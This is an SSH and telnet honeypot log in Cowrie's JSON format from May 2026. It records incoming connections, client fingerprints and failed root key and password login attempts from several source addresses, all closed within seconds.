{"eventid":"cowrie.login.failed","username":"root","fingerprint":"64:81:8c:14:38:d5:3f:b0:b1:b2:d2:f1:ff:52:34:22","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDd29ZFObHJEgPwrR/9lj7oLz9ZMb1WfMHkwCKnoXKdlzwORlJkWZba5e+ARH3/B4svZX/BoZuG/XwsJ4VFRQYkqCOF/UeLTRUHDVu3ZfmKlVZt6yDKATaZwKvJIJz6fdK0P8dN+Z40qMQ6ECmsN6FY9Wu8uFaMk6aJTAqP4m6oAb+HzG73n6FP4ZZKWolKR3EYXh5u8+egoAP2jylvHvNE26b+cOmTLvnStrNBTy/zJN+ElVZQ0p7ADfcLWxrEgtpY7AdKrZd5/tJxVtmt37pgKYyh7jVsUHFLnq8wMqqmsCAVzmA49nLrMF+DXzOORbVGzU4chL1Q6vFH4JF2DKcf","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:16:56.282523Z","src_ip":"172.93.103.2","session":"323a50aeee0c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a5:ad:f6:f3:40:8e:50:c7:d5:a9:7c:c7:6e:0d:0d:2d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAz8EEBdWIp9nKBuEqBzAMzO8WeMhEgZhETPmwzUU+3kcAeivAQPvr7aRVjUToSxzuAU8zq/m1NBOmhLh0tnTfNcId5+eVmeKfJ1QNbEAsqYZuXUkVDym4/KiGzQOhPYkAdwNEB3+P1+BOrNVgCHDnPHtqzZqnMtrLVRfMyv4yacM8o24u9T786px5oSEZqBMcvWkQ1vkf5vwTC25QPC9nQpYtlVj6buiOFVbyFnajuCF+dsvHXbYVBF4OwB2NuyFsFc9hNScHi8zF3sqcKX+A9gT9nz1/G6qUGZxtA4caCYA5poB6rmqcPKG7J0KtHziI3gMxCaO7mCjAaeBsNFtzxQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a5:ad:f6:f3:40:8e:50:c7:d5:a9:7c:c7:6e:0d:0d:2d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:16:56.292048Z","src_ip":"172.93.103.2","session":"323a50aeee0c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a5:ad:f6:f3:40:8e:50:c7:d5:a9:7c:c7:6e:0d:0d:2d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAz8EEBdWIp9nKBuEqBzAMzO8WeMhEgZhETPmwzUU+3kcAeivAQPvr7aRVjUToSxzuAU8zq/m1NBOmhLh0tnTfNcId5+eVmeKfJ1QNbEAsqYZuXUkVDym4/KiGzQOhPYkAdwNEB3+P1+BOrNVgCHDnPHtqzZqnMtrLVRfMyv4yacM8o24u9T786px5oSEZqBMcvWkQ1vkf5vwTC25QPC9nQpYtlVj6buiOFVbyFnajuCF+dsvHXbYVBF4OwB2NuyFsFc9hNScHi8zF3sqcKX+A9gT9nz1/G6qUGZxtA4caCYA5poB6rmqcPKG7J0KtHziI3gMxCaO7mCjAaeBsNFtzxQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:16:56.296012Z","src_ip":"172.93.103.2","session":"323a50aeee0c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:16:56.306512Z","src_ip":"172.93.103.2","session":"323a50aeee0c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":49532,"dst_ip":"10.17.0.5","dst_port":22,"session":"6388a7a45554","protocol":"ssh","message":"New connection: 103.15.226.202:49532 (10.17.0.5:22) [session: 6388a7a45554]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:18:06.457985Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:18:06.462758Z","src_ip":"103.15.226.202","session":"6388a7a45554","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:18:06.707651Z","src_ip":"103.15.226.202","session":"6388a7a45554","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"VM","password":"Jay56","message":"login attempt [VM/Jay56] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:18:07.440172Z","src_ip":"103.15.226.202","session":"6388a7a45554","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:18:08.686964Z","src_ip":"103.15.226.202","session":"6388a7a45554","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":27316,"dst_ip":"10.17.0.5","dst_port":23,"session":"97c7bd9cae7a","protocol":"telnet","message":"New connection: 212.55.149.117:27316 (10.17.0.5:23) [session: 97c7bd9cae7a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:18:46.303075Z"}
{"eventid":"cowrie.session.connect","src_ip":"129.232.238.42","src_port":43802,"dst_ip":"159.203.135.109","dst_port":23,"session":"8a6a973c2fc4","protocol":"telnet","message":"New connection: 129.232.238.42:43802 (159.203.135.109:23) [session: 8a6a973c2fc4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:19:30.541193Z"}
{"eventid":"cowrie.session.closed","duration":61.54214429855347,"message":"Connection lost after 61 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:19:47.845103Z","src_ip":"212.55.149.117","session":"97c7bd9cae7a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":67.1216835975647,"message":"Connection lost after 67 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:20:37.662789Z","src_ip":"129.232.238.42","session":"8a6a973c2fc4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.183.192","src_port":48854,"dst_ip":"10.17.0.5","dst_port":23,"session":"a6d116d89b45","protocol":"telnet","message":"New connection: 103.153.183.192:48854 (10.17.0.5:23) [session: a6d116d89b45]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:20:42.828380Z"}
{"eventid":"cowrie.session.closed","duration":0.004952907562255859,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:20:42.833215Z","src_ip":"103.153.183.192","session":"a6d116d89b45","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":43261,"dst_ip":"10.17.0.5","dst_port":23,"session":"e69ae17106da","protocol":"telnet","message":"New connection: 212.55.149.117:43261 (10.17.0.5:23) [session: e69ae17106da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:21:34.737983Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.204.244.210","src_port":41662,"dst_ip":"10.17.0.5","dst_port":22,"session":"bc98d234f313","protocol":"ssh","message":"New connection: 198.204.244.210:41662 (10.17.0.5:22) [session: bc98d234f313]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:21:40.754249Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:21:40.758805Z","src_ip":"198.204.244.210","session":"bc98d234f313","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:21:40.792013Z","src_ip":"198.204.244.210","session":"bc98d234f313","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f7:38:a5:27:53:4d:dd:d8:4f:61:10:b8:42:f5:04:d4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDRdmyMPQRPaG7eFHMNo0yNA7X8ToPd96Tjmqma7W7zeSGcSwa4K4KclitjV4A22n9lFsfpI6dufskraiI3JBrf+oNBOF7QYmyHklz2qmszqkKmcmBeSyBfiwoS9640DQftTSc7FepO9zW0nXlXC+wnVW5AA2/yebvaZY6VCKSv0pA5URxC4rUCvtwuqUavGx2Kyl9y0gDPXlh7QWMG2mCvcfxwBObTmfNZzxJ04rZosi7zi2m+WoCRq1QLZiN3D6rmttRwnCH/Cnx80oajHR6lKD4/QUaw7NFrP4pFGd3kqQ1nkzRjoDEmCW0JD6Xxw3/w6ovZnRoythgfjAS1Uj9l","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f7:38:a5:27:53:4d:dd:d8:4f:61:10:b8:42:f5:04:d4","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:21:40.937642Z","src_ip":"198.204.244.210","session":"bc98d234f313","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f7:38:a5:27:53:4d:dd:d8:4f:61:10:b8:42:f5:04:d4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDRdmyMPQRPaG7eFHMNo0yNA7X8ToPd96Tjmqma7W7zeSGcSwa4K4KclitjV4A22n9lFsfpI6dufskraiI3JBrf+oNBOF7QYmyHklz2qmszqkKmcmBeSyBfiwoS9640DQftTSc7FepO9zW0nXlXC+wnVW5AA2/yebvaZY6VCKSv0pA5URxC4rUCvtwuqUavGx2Kyl9y0gDPXlh7QWMG2mCvcfxwBObTmfNZzxJ04rZosi7zi2m+WoCRq1QLZiN3D6rmttRwnCH/Cnx80oajHR6lKD4/QUaw7NFrP4pFGd3kqQ1nkzRjoDEmCW0JD6Xxw3/w6ovZnRoythgfjAS1Uj9l","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:21:40.941310Z","src_ip":"198.204.244.210","session":"bc98d234f313","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"31:d8:72:5f:20:02:77:2a:c0:72:7d:86:2c:1c:3b:c4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDNgO+XJPf+mTGtrgfLSycJlxfw8Ha2cTLhB5ztzme/cVWwgekAjmR9BUhrP5ej70EeMW5Jo0s8s+560lzQLWA2lnZvF3OM76w6UX7IKMPmD4NzrbD0YQzCnswYX0Jcvrcd3E7I7z0zq91kXhjHd4MxV/Tr5UjeuY6Px/2yuY84t/JkCjwsVh8D7AA1eB45Ngo4A/1MzvvwEwPvPugnUNbApuZ3ZJiJxep7lpVpqDyYhTbXPW1+Q1Vw1n7AxndQPFxrgImBJ8kWO0d4yuSEPt2UJ9sGX5KdZ+x0woEdKjylVMgmj+Kdc/GwEJur/QwCUsN/6mWoN0QHckZJX9z18YuzI5o3x33yXgRQYObGQGO6YgudHCPkAcYIjhQ0nslOkeFG9vSxlwpikx5gDwkjh3b6qKXot2Hsz3Tbj7r7ob1aIl/9CMAoWkMN0O15iSLJMiA09h1tyBteUn1Y3OS+ZHNYZSdhhTbcmb7tnq3x3wGAOcpthsuOhZt5VqPVbLtOMRcZ/s3y11EWzh1Ul8+wKfrBGnMq1xvPgfI0a7jXc52/p5CJKcXYrIG6htRJrsAh3a1v7OMv0j18uZ8oMKVaHUXACGoHYjmxKNeg1ZMmI75Wa5pzr2ezYdQ2gkwHAZCZRgWvG2vegW4gVlaELWNYS7lThguwzY0wJP2CYpd7f43dKw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 31:d8:72:5f:20:02:77:2a:c0:72:7d:86:2c:1c:3b:c4","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:21:40.975929Z","src_ip":"198.204.244.210","session":"bc98d234f313","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"31:d8:72:5f:20:02:77:2a:c0:72:7d:86:2c:1c:3b:c4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDNgO+XJPf+mTGtrgfLSycJlxfw8Ha2cTLhB5ztzme/cVWwgekAjmR9BUhrP5ej70EeMW5Jo0s8s+560lzQLWA2lnZvF3OM76w6UX7IKMPmD4NzrbD0YQzCnswYX0Jcvrcd3E7I7z0zq91kXhjHd4MxV/Tr5UjeuY6Px/2yuY84t/JkCjwsVh8D7AA1eB45Ngo4A/1MzvvwEwPvPugnUNbApuZ3ZJiJxep7lpVpqDyYhTbXPW1+Q1Vw1n7AxndQPFxrgImBJ8kWO0d4yuSEPt2UJ9sGX5KdZ+x0woEdKjylVMgmj+Kdc/GwEJur/QwCUsN/6mWoN0QHckZJX9z18YuzI5o3x33yXgRQYObGQGO6YgudHCPkAcYIjhQ0nslOkeFG9vSxlwpikx5gDwkjh3b6qKXot2Hsz3Tbj7r7ob1aIl/9CMAoWkMN0O15iSLJMiA09h1tyBteUn1Y3OS+ZHNYZSdhhTbcmb7tnq3x3wGAOcpthsuOhZt5VqPVbLtOMRcZ/s3y11EWzh1Ul8+wKfrBGnMq1xvPgfI0a7jXc52/p5CJKcXYrIG6htRJrsAh3a1v7OMv0j18uZ8oMKVaHUXACGoHYjmxKNeg1ZMmI75Wa5pzr2ezYdQ2gkwHAZCZRgWvG2vegW4gVlaELWNYS7lThguwzY0wJP2CYpd7f43dKw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:21:40.979548Z","src_ip":"198.204.244.210","session":"bc98d234f313","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":39852,"dst_ip":"10.17.0.5","dst_port":22,"session":"32e79279af39","protocol":"ssh","message":"New connection: 103.15.226.202:39852 (10.17.0.5:22) [session: 32e79279af39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:21:41.001403Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:21:41.006143Z","src_ip":"103.15.226.202","session":"32e79279af39","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"82:69:67:66:4c:23:0f:2d:67:47:36:72:e9:15:22:0e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAn25X6IU56ax643oCr3CjSi+mMPkDHi9294sypxj5X6DO2Ct+MNzhgA8qZuExdtLEnDpUsq9O2jKG/NqG4KlCNFB4rVuZBoWBExWQ+DNhTyiHEwgWYugVaIOj5E9ZKOsjI6wF7fDKir2xAXIdqqlIEM1PrADz3T19kaAYfLxwSyNo/MATIjMqrJj2Lcbpvv6GHKgZgHTKlkeSpZ7jFlRdJXQ41iCXJHZS5YtrXF/pC9Mf16Itl/uvitKiCiZPVxcEl18+HAbtMyIlQOpt7cqknZ11axbMatKf3HFLNudkQrmu8e0HHZtSbQFDwjpprgrwe/ayrdaSGpOVWkS/i8LcDQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 82:69:67:66:4c:23:0f:2d:67:47:36:72:e9:15:22:0e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:21:41.015527Z","src_ip":"198.204.244.210","session":"bc98d234f313","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"82:69:67:66:4c:23:0f:2d:67:47:36:72:e9:15:22:0e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAn25X6IU56ax643oCr3CjSi+mMPkDHi9294sypxj5X6DO2Ct+MNzhgA8qZuExdtLEnDpUsq9O2jKG/NqG4KlCNFB4rVuZBoWBExWQ+DNhTyiHEwgWYugVaIOj5E9ZKOsjI6wF7fDKir2xAXIdqqlIEM1PrADz3T19kaAYfLxwSyNo/MATIjMqrJj2Lcbpvv6GHKgZgHTKlkeSpZ7jFlRdJXQ41iCXJHZS5YtrXF/pC9Mf16Itl/uvitKiCiZPVxcEl18+HAbtMyIlQOpt7cqknZ11axbMatKf3HFLNudkQrmu8e0HHZtSbQFDwjpprgrwe/ayrdaSGpOVWkS/i8LcDQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:21:41.018013Z","src_ip":"198.204.244.210","session":"bc98d234f313","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"36:85:00:9c:34:4f:e3:2b:49:4e:95:ad:12:8b:a5:3e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAIEAma5WnrlouOHUsf2tlSprSZcuq77dHJokbCZkYRpQ0AOaPkByxhjpchyIyLD5EHq7WFBkOYvrPnhypqQ+F0nv3MXhwOBL1T3wwyIA2j37OJYWAXUJ/yGDOyW+0kKWbPeMYNXSp9DILUzSoEt5J5uwbDOEx+eNynHQd8MmqSQumfE=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 36:85:00:9c:34:4f:e3:2b:49:4e:95:ad:12:8b:a5:3e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:21:41.051069Z","src_ip":"198.204.244.210","session":"bc98d234f313","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"36:85:00:9c:34:4f:e3:2b:49:4e:95:ad:12:8b:a5:3e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAIEAma5WnrlouOHUsf2tlSprSZcuq77dHJokbCZkYRpQ0AOaPkByxhjpchyIyLD5EHq7WFBkOYvrPnhypqQ+F0nv3MXhwOBL1T3wwyIA2j37OJYWAXUJ/yGDOyW+0kKWbPeMYNXSp9DILUzSoEt5J5uwbDOEx+eNynHQd8MmqSQumfE=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:21:41.054151Z","src_ip":"198.204.244.210","session":"bc98d234f313","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d7:9e:31:a4:08:0d:9d:35:ef:00:bc:a7:3e:87:92:07","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC8TY2h3W6ZAo4QiA6MfAOXZNeJ7+rMtmNyGwLdXaC/r2HRrKPjKjxSYpaEl4Eb3o41KkHDp1Yj5Cj2mSI7GGmrc1fgQ6JBLmMPCoQIV1KYHTXuEuKR7NhqOOEAqRa62CSxWaoCfJ9IjYiAsx4gdaK9RXayhZLNtIz0sf/OT21ZxsXCY+2k6hCf75ybQYWZ7h5L9jllyRAv+8an+VTEqjPM8q9GmI/s89CMyMC4WZwB1goV9+0Cyscg92EEA1LO2e7NNuDoicoGa1Bu2KyjRVhi3GkPi5qpzpuH7m7a/JnJhHd61fdfrTGOQfTzValASD2UnSyYebwYOIOxFBx5sDOV","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d7:9e:31:a4:08:0d:9d:35:ef:00:bc:a7:3e:87:92:07","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:21:41.087450Z","src_ip":"198.204.244.210","session":"bc98d234f313","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d7:9e:31:a4:08:0d:9d:35:ef:00:bc:a7:3e:87:92:07","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC8TY2h3W6ZAo4QiA6MfAOXZNeJ7+rMtmNyGwLdXaC/r2HRrKPjKjxSYpaEl4Eb3o41KkHDp1Yj5Cj2mSI7GGmrc1fgQ6JBLmMPCoQIV1KYHTXuEuKR7NhqOOEAqRa62CSxWaoCfJ9IjYiAsx4gdaK9RXayhZLNtIz0sf/OT21ZxsXCY+2k6hCf75ybQYWZ7h5L9jllyRAv+8an+VTEqjPM8q9GmI/s89CMyMC4WZwB1goV9+0Cyscg92EEA1LO2e7NNuDoicoGa1Bu2KyjRVhi3GkPi5qpzpuH7m7a/JnJhHd61fdfrTGOQfTzValASD2UnSyYebwYOIOxFBx5sDOV","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:21:41.090820Z","src_ip":"198.204.244.210","session":"bc98d234f313","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.4","message":"Connection lost after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:21:41.125139Z","src_ip":"198.204.244.210","session":"bc98d234f313","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:21:41.254624Z","src_ip":"103.15.226.202","session":"32e79279af39","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ociisstd","password":"ociisstd","message":"login attempt [ociisstd/ociisstd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:21:42.007247Z","src_ip":"103.15.226.202","session":"32e79279af39","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:21:43.259067Z","src_ip":"103.15.226.202","session":"32e79279af39","protocol":"ssh"}
